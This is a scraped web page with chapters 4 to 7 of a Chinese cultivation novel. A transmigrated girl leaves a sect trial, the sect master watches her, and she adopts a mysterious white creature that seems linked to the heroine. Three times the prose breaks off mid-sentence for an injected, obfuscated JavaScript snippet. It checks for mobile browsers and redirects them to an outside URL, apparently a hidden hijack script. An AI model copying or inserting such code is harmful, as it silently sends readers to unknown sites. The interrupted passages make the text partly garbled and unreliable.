虞知鸢自然知道林喻。 林喻是凌云宗外门弟子中的领头人物,上一回的内门弟子选拔,他因尚且年幼没有通过,但在随后的这十年间,他早已跨过练气期和洗髓期,并在前些日子成功筑基。 这样的修炼速度虽比不上书里的男主,但也是极有修真天赋的了。 最重要的是,林喻同时也是书里那个一开始就陪伴在女主身侧,直到看到女主收获了幸福后,才默默离开的深情男二。 但此时,拥有原身记忆的虞知鸢却觉得情况有些不大妙。 林喻此人性子温润,待所有人都温和有礼,是外门弟子中少数几个没有对她和女主表现出恶意的人。 长期处于孤独无助中的人,若是感受到身旁难得的温暖和善意,这个人又身姿容貌十分俊朗,会产生好感是再正常不过的事,就连女主都偶有动摇,更不要说“虞知鸢”这个恶毒炮灰了。 原身会百般折辱女主,其中也少不了这一层原因。 但…… 虞知鸢不着痕迹地挑了挑眉。 但林喻若真是书中所写的那样一个人,为何方才没有在她和女主被霸凌时立刻站出来,而是等到话都说的差不多了,才轻描淡写一句“开玩笑”便将事情揭过去了。这看似也是替她们解了围,实则却并没有制止其他弟子这种霸凌行为。 难道是因为现在故事才开始,他对女主的感情还不够深? 那厢林喻见她一直盯着他发楞,似是语气无奈地叹了声:“师妹怎么不说话,是哪里不舒服?” 话落,他忽然抬起手,就像是要摸她的头发似的。 虞知鸢身上的警铃蓦地响起。 别过来! 男二必须是女主的,她不配! 她迅速偏了下脸,往姜辞身边退了一步。 这一退,像是触发了某个关卡,眼前的一切出现轻微的波动,像是水面被风吹皱,连带着土地都开始微微晃动。 下一刻,虞知鸢发现自己已经站在了一片云遮雾绕的茫茫雪地中,漫天的雪花在天地里肆意地飞扬舞动,将天地晕染得一片洁白。 在她面前,是一面古朴厚重的巨大镜子。 镜子悬浮在一片迷蒙风雪中,它的边缘并不规整,像是由某种生物的骨骼支撑,骨头上盘旋着无数神秘古老的符文。悠悠微光在镜面上漂浮闪烁,镜面中浮现出不断变换着的各种画面,从亘古到未来,仿佛盛着这世间浩瀚的一切。 虞知鸢很快反应过来,他们已经离开了幻境。 而她面前的这面镜子,就是凌云宗这次内门弟子选拔的第一重试炼——界域骨镜。 传说界域骨镜是一件神器,以远古时期某个具有空间穿梭能力的神族骸骨制成,其中蕴含着无穷的时空之力,凡持有者,只要修为达到大乘期圆满,便可借助其的力量穿梭时空。 当然,这种说法始终未被证实。 近千年来修真界都未曾出过修炼到大乘期的修士,更别说大乘期圆满的修士了,即便有,大乘期修炼至圆满,便会引来九重天雷。一旦渡过九重雷劫便能飞升,若是挨不住便就此陨落。 也便无人知晓这界域骨镜能穿梭时空的说法究竟是真是假。 倒是界域骨镜可以投射真实世界的幻境这一点,被凌云宗用作了内门弟子选拔的一重试炼。 虞知鸢的视线落在界域骨镜上,也就没有注意到林喻的手,此时还保持着幻境中的动作。 林喻若无其事地收回手,轻声道:“两位师妹,这次试炼已经结束,试炼境即将关闭,我们还是快些出去吧。” 无人看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829671|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,站在虞知鸢身侧的那人,宛如看到什么笑话一样,唇角弯起一抹意味不明的弧度。 此时其他人也都看了过来,虽是面色各异,但碍着林喻的面子,也没有催促。 姜辞从刚才起就始终一言不发,更是看都没看林喻一眼,虞知鸢无法,只好腆着脸自己站出来打圆场。 “这就走了,多谢林师兄提醒。” 林喻像是轻轻地叹了声,而后才点点头,拂袖转身。 界域骨镜前便只剩虞知鸢和姜辞二人了。 待到以林喻为首的一行人都走到大门口了,虞知鸢才回头冲姜辞眨眨眼:“师妹,我们也走吧。” 姜辞没说话,只玩味地看着她在风雪中愈发显得纤瘦单薄的身影,直到她又一次催促他,他才淡淡应了声,抬脚跟了上去。 试炼境内一片风雪漫天,一踏出试炼境的大门,外头却是天碧如洗。 晴朗的日光穿透无边无垠的云海,倾洒在连绵无尽的山脉和中,草长没胫,繁花似锦,五颜六色的灵蝶飞鸟在空中鸣转翻飞,恍如仙境一般。 虞知鸢深深吸了口气,又吸了口气,身后终于传来一阵轻盈的脚步声。 她忍不住回眸催促:“师妹怎么走得这样慢。” 那道雪青色身影依旧不紧不慢地从试炼境内那片濯然的昏昧中缓步踏出。 日光徐徐剥落覆在她身上的暗影,露出真容。 姜辞生了一张清疏而又艳绝的脸,神色透出几分恹恹的倦懒,那双敛在纤长睫羽下的眼眸平静剔透,像浸在冰雪里的琉璃,看向虞知鸢时清泠泠的,寒似玄冰。 她动了动唇:“师姐等着急了?” 虞知鸢呆呆“啊?”了声,反应过来,干笑道:“没有没有,怎么会呢。” 倒是和从前一样的……蠢。 姜辞看着她,忽地莫名笑了下,“那,走吧?” 这一笑把虞知鸢都看懵了。 有什么好笑的吗? 虞知鸢一边屁颠屁颠跟住了姜辞,一边忍不住摸了把自己的脸,难道她脸上有花? 随着二人的离开,试炼境的大门“砰”的一声关上。 风雪漫卷的试炼境内,界域骨镜上光芒一闪,重新出现了画面。 那是一个被屠尽了的村庄,西风拂掠而过,卷起艳如枫叶的红沙。 夜色中,一具满脸是血,半面朝下的尸体忽地动了下。 这是一名年岁不大的女子,微闭的双瞳犹留沾满泥沙的泪痕,目中隐约可见血泪渗出,全身上下是数不尽的伤口,深可见骨。 蓦地,一只白嫩的小手从尸体下面伸出,五根小指头用力推着压在身上的重物,还能听见那力有未逮的细微喘气声。 过了不知多久,一个不过四五岁左右的小女娃终于喘着气从女尸怀中爬起,她脸上满是血痕和泥污,看不清长相,只能见到巴掌大的小脸镶嵌一双黑而亮的媚眼。 她看了看满地尸体,抱着膝盖安安静静坐在女尸身侧。 直到浓重的夜色终于褪去。 她站起身,最后看一眼这个残破不堪,尸横遍野的村落,转身拖着一双早已脱力的短腿,一脚深一脚浅的朝日头升起的方向走去。 5. 第 5 章 拓苍山是昆墟境内最大的山脉,绵延数千里,大小山峰近千座。 凌云宗的主殿便位于拓苍山主脉的最高峰中阙峰上。 从主殿出来,沿着西侧的回廊绕过广场,一条蜿蜒的石子路延伸入山腰的竹林,拾阶而下,竹子的清香扑鼻而来。 竹林中央有一以竹子搭建而成的竹屋,大小却不下一座山庄,周遭青竹连成一片,翠绿成荫,蔚成清静又幽僻的独立天地。 寻常人等无法进入此地,因为竹子便是阵法,一环扣着一环,一入竹林便入了阵,丝缕相扣,仅仅方寸之地也能让人走上一辈子而不辨东西,如进迷瘴之地,渐渐迷失心性而成幻。 此时,竹屋的支摘窗被支起,云雾伴随着日光倾洒进来,落在桌案旁的男人身上。 他端坐在桌前,靛蓝色的长袍领口袖口都镶绣着银丝边流云纹的滚边,腰间束一条青色祥云宽边锦带,黑发束起,以镶碧鎏金冠固定着,神色隐匿在阴影中看不清楚。 他提起茶壶,轻拢衣袖,不紧不慢地为此刻正坐在他对面一位须发皆白的老者倒茶。 “你的意思是,界域骨镜有异动?” “也不算是异动,甚至算不上太特殊。”老者抿了口茶,悠悠开口:“不过我想了想,还是觉得这事得知会你一声。” 老者说罢,拿出一块留影石,一挥衣袖,留影石便在半空中投射出一幅画面。 尸横遍野中,少女一身雪青色弟子服,身姿轻盈,游刃有余地游走在二级妖兽玄羽雪雕群疯狂的攻击中,末了,更是只用初级寒霜术,便轻易斩杀了领头雕。 凌云宗内出色的弟子很多,便是在外门中出现这样一个尚且算的上人才的弟子,也并不是多让人惊讶的事,但当留影石的画面停留在少女那张沾满血迹和尘土的脸上时,便是十多年都未曾有过情绪波动的人也短暂地顿了下。 那少女不过二十上下模样,脸上星星点点的血迹掩盖了她原本的容色,但那双眼睛却令人见之难忘。 媚而不俗,清雅又有灵性,便如上好的琥珀玉石,玉华光透,无瑕无疵。 他在很久以前也曾经见过这样一双眼睛,只是斯人已逝,这么多年,他都快记不清她原本的模样了。 至于这个少女…… 他动了动唇:“是她。” “认出来了?”老者抚了抚胡须:“我记得当年你带她回来时,她还是个垂髫小儿,天赋又实在极差,若不是她身上有你的血脉,应当这辈子都无缘踏入凌云宗的大门。岂不知这十多年过去,倒是像脱胎换骨了一般。” “那又如何?十多年,也不过这般修为。”男子抿了抿唇,凉薄的声音中带着事不关己的漠然:“况且你也知道的,她应当也不喜我。” 老者听他这么说也不觉得意外,他放下茶杯,掸了掸宽大的袖口站起身,“既如此,我便去准备第二重试炼了。” 不过他像是又想到了什么,走到门口,又停下脚步回过头来。 “其实不只是她,还有界域骨镜投射的这地方……”老者顿了顿,淡声问道:“你说,她看到这些,会不会想起来些什么?” 男子不置可否,悠然向后一靠,修长如玉的指节不紧不慢轻敲桌面。 直到老者走下竹屋的台阶,一脚将将踏入阵法中,身后才飘来一道沉缓的声音。 “也不必刻意为难她,就让我看看她能走到哪一步吧。” 老者转过身,向着竹屋的方向拜了拜:“是,宗主。” /// 从试炼境出来后,一行人在负责此次试炼的师姐师兄处登记好,领了通过这第一重试炼的凭证,便可以回到各自的住处。 凌云宗有弟子近千人,其中内门弟子不过百,跟随各自的师尊住在主峰周围的三大峰上,其余的所有外门弟子则分散住在周围的几座小峰上。 试炼境位于三大峰碎玉峰的西侧,距离姜辞所住的云溪峰不远,却偏偏与虞知鸢住的夜月峰在完全相反的两个方向。 虞知鸢生怕自己今天好不容易在姜辞面前稍稍扭转的形象,会随着几天时间的分开而付诸流水,于是在即将分别之际,死死拽住了姜辞的衣袖。 “师妹,你看啊,后日就要进行第二重选拔试炼,我是这样想的,咱们如果能住在一起,是不是就可以互相督促着努力修炼,这样我们就能快些进境,”她微微仰着头,朝姜辞眨了眨眼,“说不定我们还可以一起通过第二重选拔试炼呢。” 我们? 一起? 姜辞长睫半垂,第一次认真打量起眼前的人。 眉如黛,面含霜,朱唇榴齿,乌发如瀑。 她有一双好眼,与人对视时眼波流转,眼角一瞟就像带着钩子,分明是清丽娇俏的少女模样,眼睛里竟流露出一种不自知的妩媚风情。 眉梢眼角,皆是春意。 姜辞目光微微一顿,迅速移开视线,“不必,师姐还是忙自己的去吧。” 虞知鸢也心知姜辞大概率不会同意,这会儿也只得闷闷应了声:“那好吧。” 她话音未落,姜辞便挣脱了她仍旧死死拽着他的魔爪,转过身,只留给她一个清傲纤长的背影。 虞知鸢看着那仿佛逃一样的身影,忍不住哀叹:她有这么让女主避之唯恐不及吗?看起来她这拯救任务,必定是任重而道远。 啊,好烦。 她召出自己的佩剑,一跃而上。 等剑腾空,感受到迎面而来的风,才意识到自己做了什么的虞知鸢尖叫一声,一个摇摆,险些从剑上掉下去。 老天奶啊! 怎么这剑自己就飞起来了?她又是怎么上来的啊! 要是掉下去,不被树脂戳死,也得摔成肉泥了吧。 要知道她长这么大,连飞机都没坐过啊! 到底是谁,谁干的! 正在她颤颤巍巍稳住身形,努力控制着剑下落的时候,消失了大半天的系统突然出声了。 【是宿主自己干的。】 虞知鸢大声反驳:“我都不知道,怎么可能是我干的!” 系统又道:【碎玉峰上没有通往外门弟子舍馆的传送阵,建议宿主还是御剑飞行回去,若是步行,恐怕三天三夜都走不回去。】 虞知鸢:“……” 所以,难道是因为身体还残留着原身的记忆,她才会在自己完全都没意识到的时候,就已经做出了下意识的举动? 那这身体会不会还残留着什么别的记忆?比如要去故意折磨羞辱女主什么的…… 啊啊啊!好可怕啊! 虞知鸢僵硬着脖子直直看着前方,宁死也不愿低一低头去看脚下,目之所及,便只剩一片无边无垠的碧蓝天空。 晴朗的日光照在云海茫茫之上,雪白的云朵连波成海,绵绵滔滔直至天之尽头,壮阔绝伦。 虞知鸢渐渐放松了些,那些方才还摇摇晃晃的长剑便也缓缓趋于平稳。 偶尔穿过稀薄的云层,她甚至好奇地伸手去捉云。 沁凉沁凉的。 就这么边玩边飞了约有半刻钟,虞知鸢的忽然听到一阵如鸣琴奏玉般的声音。 她顺着声音传来的方向望去。 那是一座在拓苍山山脉众多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829672|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山峰中极其不显眼的一座,透过层层叠叠的绿茵,能看到这座山峰一侧是一处断崖峭壁,一道巨大的瀑布如白练悬空,从峭壁之上飞流直下。 飞珠溅玉,灿烂如银。 好奇心越发旺盛的虞知鸢想也不想就打了个弯儿,御剑向着瀑布飞去。 靠近了,瀑布的倾泻而下的声音如同雷鸣,震耳欲聋,却并不会让人觉得恐惧或是烦躁。 阳光透过溅起的水雾,在瀑布前的深潭上空折射出一道绚丽彩虹。 虞知鸢深吸了口气,从剑上一跃而下的瞬间,识海里系统的机械音再一次响起。 【叮~检测到瀑布后的秘洞内有灵兽,请宿主前往探寻。】 虞知鸢楞了下。 她运气这么好的吗,随便到个地方就有灵兽? 但一般来说,有灵兽的地方都很危险,所以,她可以不去吗? 【秘洞内没有危险,宿主可自行决定去或是不去。】 没有危险? 虞知鸢盯着瀑布,眼睛滴溜溜转了圈儿。 这系统功能倒是不少啊,不仅可以检测到附近的灵兽,连里面有没有危险都能检测出来,这不就相当于她随身带了个外挂? 这都不去,简直对不起这个外挂。 去!必须去! 毕竟灵兽什么的,听起来就很值钱。 虞知鸢眯了眯了,调动灵力护住全身,再次跳上长剑,照着系统给出的定位,一头冲进了瀑布帘幕。 出乎意料的,瀑布后的这个山洞并不是她想象中的昏暗潮湿,像是有一层结界隔开了外头的潮湿水汽,洞里头很干燥,甚至有些许阳光透过瀑布帘幕的缝隙透进来,折射出或明或暗的各种光线。 山洞也不大,站在洞口,一眼便可见底,除了中间一个几乎占据了大半山洞的池子,别无他物。 虞知鸢站在生了青苔的洞口踌躇片刻,见里头当真是半点动静也没有,这才回身打量起她进来的洞口。 有点奇怪。 如果有结界,她进来时为什么没有感受到一点阻碍,洞口也湿漉漉的,能看到明显的水雾自外头弥漫进来,可若是没有结界,山洞里又是怎么保持这般干燥?就连瀑布的巨大轰隆声都仿佛被隔开,变得遥远而又轻缓。 系统没有回答她的问题。 她只好放弃纠结这个小问题,转身小心翼翼往洞内走了走,停在距离水池还有几步远的地方,伸长脖子往水里头瞅,一边喃喃:“灵兽藏在水里了?” 水池清澈见底,几根不知哪来的树枝交错着静静沉在水底,几条五彩斑斓,比拇指粗不了多少的鱼围着树枝游来游去。 虞知鸢在边上站了一会儿,还是没等到系统的回应,于是又往水池靠近了些:“灵兽呢?总不会是这些树枝吧?还是这几条鱼?” 正在此时,水面忽然泛起涟漪,一团白色的东西猛地从水中蹿出来,溅起的水花让虞知鸢浑身一激灵。 实在是今天经历的有点多了,面对如此突然的情况,她的第一反应竟然是—— 好家伙,这是个寒潭啊! 她迅速往后退去。 但那比她的脸大不了多少的一团东西从水里蹿出来后,只是自顾自蔫哒哒地趴在了寒潭边。 仿佛并没有察觉到她的存在。 虞知鸢定睛一瞧。 “!!!” 是一只毛茸茸! /// 云溪峰。 姜辞推开门,几乎是脱力般倚靠床榻上。 他重重吐出一口气,才堪堪压□□内异样,又忽地皱紧了眉头。 6. 第 6 章 小猫似的一团,背对着虞知鸢趴在寒潭边,雪白的毛发湿漉漉的,长长的尾巴落在池子里,有气无力地拍打着池面。 虞知鸢眼睛一亮。 毛茸茸什么的,她喜欢啊! 她也没有立刻就对它下手,还记得先问一问系统:“这是灵兽不是妖兽吧?它是猫吗?” 系统没回应。 反倒是趴在寒潭边的白团子微微转过了头,一双琥珀色的眸子迷茫地看了看她,像是察觉到她没有恶意,微微竖起的耳朵很快又耷拉下来。 虞知鸢这才看到,它的额头上生了一道如火焰般的纹路,如同印记一样,也是它全身上下唯一的黑色。 它动了动尾巴,有些吃力地“嗷呜”一声,而后像是力竭般,微微蜷缩起了身子。 是受伤了吗? 瞧这可怜兮兮的样子。 虞知鸢立刻就心软了。 “所以灵兽就是它吧,我可以把它带走吗?” 系统还是没出声。 没出声就是默认咯。 虞知鸢眼睛都微微弯成了月牙,放轻步子走过去,而后飞快地弯腰,将白团子捞了起来。 “小乖,别怕,姐姐不会伤害你的,姐姐给你看看啊。” 她扒开了它背上湿漉漉的毛,没有伤痕,正要扒拉另一面,它立刻低低哼唧两声,挣扎起来。 但那点子哼唧声比猫叫都不如,半点威慑力都没有。 虞知鸢掐住它的脑袋,正想再扒拉,然后忽地停下了。 或许,它是不想给她看? 毕竟,大部分灵兽都开了灵智,说不定也有尊严和羞耻心? 虞知鸢一垂眸,恰好对上白团子一双剔透如琉璃般的眼睛。 它忽然伸着短短的爪子扒拉虞知鸢的手臂,毛绒绒的尾巴轻轻拍打着,像是在警告她,但或许是力有未逮,很快便偃旗息鼓。 圆滚滚的眼睛里似乎流露出一丝懊恼和烦躁。 虞知鸢忍不住笑起来。 她挠了挠它的下巴,又托起它的脑袋,用灵力烘干它的毛发。 很快,湿漉漉瞧着没几两肉的白团子就变大了一圈,浑身长毛微微炸开,软绵绵又毛茸茸。 是个大白团子了。 长得……像猫又不像猫的。 但还是很可爱啊! 虞知鸢忍不住摸了摸它柔软的毛,幸福得眯起了眼。 撸猫什么的,谁会不喜欢啊。 有了这只毛茸茸,外面的瀑布对她也没什么吸引力了。 虞知鸢索性将毛团子往怀里一揣,直接御剑飞回了夜月峰上的外门弟子舍馆。 弟子舍馆建在夜月峰峰顶,外头便是弟子常去练剑的小松林。 此时正是饭点,小松林里没什么人。 但虞知鸢仍是将毛团子往怀里仔细拢了拢,也免得不小心让人瞧见了,再徒惹事端。 不过事实证明是她想多了。 原身在外门弟子中本就不受人待见,这个时间就是弟子舍馆内也只有零星几人,一路直到进了自己住的那间院子,也没人注意到她。 凌云宗内所有外门弟子的住处都是固定的,一般是一院两屋子,四人合住。 但因为原身的人缘实在太差,压根没人愿意跟她一起住,这院子里便只住了她一人。 这会儿倒是便宜了虞知鸢。 进了院子,她左右看看,抬脚便往东面那间屋子过去。 推开木门,只一眼便将屋内简陋的陈设尽收眼底,除了一张床,屋内仅有一张用粗糙的木头简单制成桌子和两把椅子。 山间的风从大开的房门吹进来,呜咽作响。 即便虞知鸢早就对原身的境况有心理准备,这会儿也忍不住叹气。 这也实在太寒碜了。 好在床榻虽是破旧了些,床上的被褥倒还算干净。 虞知鸢把已经睡着了的毛团子放到床榻上后,懒洋洋打了个呵欠,然后,她听见了一连串咕噜咕噜的声音。 啊,好饿啊。 一般来说,修士只需要修炼到筑基期以上,便不需再吃凡间食物,只需吸食天地山川间的灵气,以自然界的灵气汰换体内的污浊,才能更快地朝仙道迈进。 而对于多数炼气期,洗髓期的外门弟子,弟子舍馆内也设有专门供应膳食的厨房,每日两膳,自行取用,若是逾时,要么就忍着,要么就吃辟谷丹。 虞知鸢如今的修为才到炼气二阶,这一天下来,腹中早已空空。 但现在这个时辰已经过了饭点,又没有辟谷丹来给她吃…… 她也只能做点别的事来转移注意力了,比如—— “系统,你猜我刚才在院子外面看见了谁?” 系统依旧装死不说话。 虞知鸢也不介意,走到窗边打开窗户,看着外头的阵阵松涛,自问自答道:“是在幻境里被玄羽雪雕啄死的一个弟子,还不止一个。” “我亲眼看到他们倒地后,身体就消失了,为什么?是因为在幻境中死掉的人,其实不是真的死了,而且被界域骨镜传送出来了对吗?” “那为什么,虞知鸢会死在幻境里?她到底是怎么死的?或者,她根本就没死?” 她说到这里顿了下,而后才一字一句接着问道:“系统,你是不是在骗我?” 她话音刚落,一阵滋滋的电流音便在识海中响起,而后系统总算端着它那冷冰冰的机械音出声了: 【宿主只需完成任务,其他事情,系统没有权限,无法告知宿主。】 说这种含糊其辞的话,不就代表事情或许真不是她知道的那么简单? 虞知鸢还想再套点话,但这回无论她再怎么忽悠,系统都再没有任何反应。 这种明知有问题,还要被强摁着头吃草的感觉可真是让人心情不太美丽。 但现在穿都穿了,即便事情再复杂,也总比被强制抽离世界后,发现自己正置身在“H市某殡葬馆第x号焚烧炉”,再体验一回立体环绕声来得强吧。 啊,烦。 又饿又烦。 虞知鸢索性回到床榻边,捞过毛团子,一骨碌滚进了被子里。 还是睡觉吧。 睡着了,梦里什么都有。 她抓着被子滚了两圈,等把自己和毛团子都滚紧了,才不觉得冷了。 夜幕悄然降临,一轮明月从天边缓缓升起,月光冷冷地云层间倾泻下来,透过半开的木窗,悄无声息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829673|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地充盈在狭小的房间内。 两只毛绒绒的小爪子才终于扒拉开那只将它紧紧揽住的手臂。 它像是十分烦躁地甩了甩头,这才蹬着后腿从被子里钻出去,哪知才刚钻出半截身子,床榻上的人影忽地动了下,而后,它便察觉到有什么东西顺势埋到了它毛绒绒的肚子上。 毛团子一顿,清冷的眸子直勾勾地看着此时显然已经睡得迷迷糊糊的人。 她的脑袋埋在它腹部,嘴唇微微张着,温热的呼吸穿透绒毛,虚虚拂过某个近来十分敏感之地。 像是想到什么,那落在一旁的尾巴开始不安地来回甩动起来,喉咙里也抑制不住地发出了几道怪异声响。 它顿时浑身僵了下,刚想起身离开,谁晓得才一动,那躺在床榻上的人影就突地睁开了眼:“什么声音?” 说罢。 迷蒙的视线便对上了一双微微放大的琉璃色瞳孔。 虞知鸢愣了下,目光在毛团子身上停留片刻。 银白的月光下,它雪白的毛发仿佛染上了浅浅的一层银色光芒,神圣,却又仿佛带着一丝拒人于千里之外的冷漠。 虞知鸢眨了眨眼。 而后忽地微微笑了下。 “乖宝,你要去哪儿?” 毛团子沉默地看向她,一对爪子微微蜷缩,就连尾巴都绷紧了。 虞知鸢却恍若未觉,只伸出手臂,在察觉到它似乎有要逃跑的迹象时,立刻伸手把它抓了过来。 “乖宝别跑,给妈妈暖被窝。” 毛团子似乎听懂了她的话,一时间甚至忘记要挣脱她的怀抱,只这么微微怔住了,任由她抱着。 虞知鸢将脸埋在它的肚子上蹭了蹭,发出轻轻一声喟叹。 柔热的呼吸拂过它的腹部。 毛团子呼吸一滞,眸底跟着隐隐泛起一抹猩红之色。 虞知鸢却丝毫没察觉到有什么不妥,又蹭了两下,少顷,才像是察觉到有什么不对,微微侧首,睁开了雾蒙蒙的眼睛,在目光触及到某个地方时,忽地一顿。 “这是什么?” 话音未落,葱白的指尖已经跟着戳了上去。 毛团子尾巴上的毛在这一瞬间陡然炸开,极力一挣,避开了她的魔爪,耳朵尖上却忍不住地爬上一层血色,就连雪白的毛发下都隐隐可见一层绯色。 虞知鸢却还没没完,目光直直盯了它半天,忽然“啊”了一声,“我好像还没给你取名字呢。让我想想,唔……不如就叫……” 她说到这顿了下,又看了眼,忽地迷迷糊糊笑起来:“就叫铁蛋,怎么样?” /// 云溪峰。 跳跃的烛光把倚靠于床榻上的身影投在窗户上。 某一瞬间,火焰“呲啦”一声,像是骤然被一股大风吹灭了,只余满室昏暗。 姜辞眼皮控制不住地抽动了两下,猛地睁开了眼。 一抹猩红抑制不住地自眸底涌动而上。 呼吸越发急促,体内的灼意一次又一次如浪似潮一般地涌上来,灼烧着他的身体和意识,冷白的肌肤都被晕出层层糜艳绯色。 他深吸口气,牙齿磨了磨舌尖,忽而露出一抹冷笑。 好,好得很! 7. 第 7 章 夜色渐深。 月光如水流淌,于床榻上拢起的人影周身,勾勒出一圈圈细碎的光影。 点点灵气从她身上逸散开,与月光融到一起,又重新没入她体内。 她睡得熟,也便没有察觉到身侧的毛团子睁着眼睛,浑身滚烫,却又脱力了似的,无法从她怀中挣脱丝毫。 它长长的尾巴一下又一下,发泄似的抽着一旁的床柱。 灼热的体温随着毛团子一点点的靠近,蔓延到虞知鸢身上,隐约可见她白皙的额间都浮上一层细密的汗珠。 她无意识地踹开被子,翻了个身。 这一觉睡的着实不安稳。 无数画面宛若走马灯般,一幕接着一幕,混乱无序地在她梦中闪过。 指责怒骂,悲伤啜泣,冷眼羞辱,鲜血与死亡。 是她的记忆吗? 可她是谁? 谁又是她? 有什么东西自周身的漫天烈焰中伸出来,似有若无地触碰着她的脖颈和肩窝。 灼热,滚烫,令人头皮发麻。 她的皮肤本就白皙,很快被染上了一层应激的潮红。 她茫然抬眸,看到一双猩红竖瞳。 那明明应该是滚烫灼热的眸色,却呈现一种无机质的冰冷,死死盯着她。 她呼吸一滞,而后便感觉到那不受控的灼热温度不知什么时候已经攀上了她的大腿和腰肢,瞳孔跟着不自禁地微微一缩,喉中溢出一点柔软的轻哼。 就是这么一哼,虞知鸢猛地睁开了眼。 心脏狂跳间,连呼吸都干涩了起来。 她捂住胸口低低地喘息着,许久,浓密的眼睫才颤了颤。 眼前是一顶陈旧的青色床帐,帐上的流苏被风吹得微微晃动。 这里是…… 她撑着手臂缓缓坐起身,入目是一个狭小简陋的房间。 几缕晨光穿透夜色,洒在云巅山雾之中,空中星子未散,晨露微凉。 有微凉的风从窗口吹进来,带走了她浑身泛起的热意。 她的意识这才终于清醒了些。 啊,想起来了,她穿书了,这里是凌云宗夜月峰上的外门弟子舍馆。 她长长吐出口气,身子往后一躺,重新仰倒在床榻。 刚才那些原来是在做梦。 幸好,只是个梦。 脑中又不由自主地闪过梦中的画面。 若是忽略漫天烈焰和那双竖瞳,其他的画面虽杂乱无序,对她来说却并不陌生,甚至可以很轻易就由这些画面拼凑出一个人短暂而又可悲的一生。 如果说在接收原身记忆的时候,她是站在上帝视角看到的这一切,那么在这个梦里,她就是切切实实经历了这一切,与“她”感同身受。 在梦中,她是“她”,“她”也是她。 哪怕此刻再回想,都依然能感觉到心里的窒闷。 虞知鸢有些郁郁。 昨夜之前,她其实是看不上原身这样的为人的,自己没本事,就要去欺辱折磨别人,面对比她凶悍的人,却畏首畏尾,但现在…… “她”也并不是天生就那么坏的,对吧? 辗转片刻,虞知鸢想到什么,倏地摇头晃脑起来。 不对不对,她怎么会有这种想法? 难道是被原身残留的意识影响了? 可即便这具身体留有残余的下意识反应,她也不觉得这种残留的意识会影响到她的所思所想,除非“她”没死,或者没死透,甚至还蛰伏在这具身体里面…… 可怕,太可怕了! 她猛然坐起身,质问道:“系统,你确定原身已经死了吗?” 系统这回倒没装死,机械音依旧平淡:【人有三魂,其中人魂又生七魄,宿主体内仍有属于原身的怒、恶、哀三魄。】 虞知鸢满脑袋问号。 搞半天原身都还没死透呢,这就把她给塞进来了? 【宿主不必忧心此事,这种情况只是暂时的。宿主的神魂已与这具身躯完全融合,只要宿主神魂足够强大,原身的三魄不会对宿主造成任何影响。】 虞知鸢:“……” 不会就不会,还要加个前提条件“神魂足够强大”,怎么才算强大?她又该怎么变得强大?况且原装的那个修真天赋就不怎么样,轮到她这个强塞进来的,还能变强大了? 这不是开玩笑呢嘛! 【宿主无需妄自菲薄。】 虞知鸢:呵呵…… 她沉默片刻,有些不确定地问:“难道你的意思是,我的修真天赋或许比原身要强一些?” 【是。】 得到系统如此干脆利落的肯定,虞知鸢还没松口气,余光忽地瞥见雪白色的一团飞快地从床尾蹿了过来,在她还没反应过来时,一张口,咬住了她的手腕。 什么东西! 她脸色变了又变,本能将那东西甩出去的前一秒,总算想起来什么,赶紧一刹车,又将它捞了回来。 四目相对。 本就有灵力护体,咬她的力道也软绵绵的,她的手腕自是没被咬破。 毛团子更是处变不惊,依旧就那么泰然自若地挂在她手腕上,只那双瞪着她的滚圆眸子中,隐约闪过一丝让她觉得无比熟悉的猩红色。 虞知鸢一愣,而后慢半拍地感觉到毛团子的体温实在是有些高,就连她贴住它的掌心甚至都觉得有些烫。 她眨了眨眼,恍然大悟:“我说梦里怎么会全是火呢,原来是因为你。” 身旁躺了个大暖炉子,后半段会做那样的梦也就不奇怪了。 毛团子听了她这话,毛绒绒的耳朵微微抖了抖,一副没所谓的懒散模样。 虞知鸢揪住它脖子把它拽下来,抱在怀里撸了一把,“不过你昨天好像没这么烫,是病了吗?还是哪里受伤发炎了?” 毛团子自顾自躺着,像是看都懒得看她一眼。 虞知鸢也不恼,勾着唇,指尖抚过毛团子背上的绒毛:“要不,我还是给你全身都检查检查好了,你觉得呢,铁蛋?” 这回她话音未落,毛团子便绷紧了全身,背上的毛都竖了起来。 绒毛轻轻地擦过她的指尖,泛起些轻微的痒意。 虞知鸢忍不住笑起来。 “好了好了,不跟你开玩笑了,”她抬手揩掉眼角笑出的泪水,又安抚性地摸了摸毛团子的脑袋,“我知道你听得懂我说话,这样吧,你要是受伤了你就叫一声,如果没受伤,就叫两声,这样行吗?” 毛团子掀起眼皮瞧了眼她,半晌,才不情不愿“嗷呜”两声。 